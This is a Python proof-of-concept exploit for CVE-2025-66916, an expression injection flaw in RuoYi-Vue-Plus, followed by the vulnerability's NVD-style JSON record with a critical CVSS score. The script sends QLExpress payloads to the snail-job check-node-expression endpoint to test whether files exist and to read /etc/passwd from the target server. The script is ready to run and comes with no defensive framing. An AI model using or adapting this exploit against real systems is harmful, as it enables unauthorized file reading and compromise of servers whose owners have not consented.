CVE-2025-66916

import requests import json # CVE-2025-66916 PoC - RuoYi-Vue-Plus QLExpress Expression Injection # Target: /snail-job/workflow/check-node-expression TARGET_URL = "http://target.com/snail-job/workflow/check-node-expression" # Read arbitrary file PAYLOAD_READ = """ new java.io.FileInputStream("/etc/passwd").readAllBytes() """ # Check file existence PAYLOAD_CHECK = """ new java.io.File("/etc/hosts").exists() """ def exploit(target_url, payload): headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } data = { "expression": payload.strip() } try: response = requests.post(target_url, json=data, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") return response.json() except Exception as e: print(f"[-] Error: {str(e)}") return None if __name__ == "__main__": print("[*] CVE-2025-66916 QLExpress Expression Injection PoC") print("[*] Target: " + TARGET_URL) print("\n[>] Testing file existence check...") exploit(TARGET_URL, PAYLOAD_CHECK) print("\n[>] Testing arbitrary file read...") exploit(TARGET_URL, PAYLOAD_READ)

{"cve": {"id": "CVE-2025-66916", "sourceIdentifier": "[email protected]", "published": "2026-01-08T20:15:44.657", "lastModified": "2026-01-30T01:05:34.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The snailjob component in RuoYi-Vue-Plus versions 5.5.1 and earlier, interface /snail-job/workflow/check-node-expression can execute QLExpress expressions, but it does not filter user input, allowing attackers to use the File class to perform arbitrary file reading and writing."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dromara:ruoyi-vue-plus:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.5.1", "matchCriteriaId": "E7726AD6-68C7-4949-BBAC-725F3D2ECAC1"}]}]}], "references": [{"url": "https://gist.github.com/Catherines77/e3f06b9c4cc6298579e858088a243c3d", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gitee.com/dromara/RuoYi-Vue-Plus", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Catherines77/code-au/blob/main/ruoyi-vue-plus/QLExpress.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}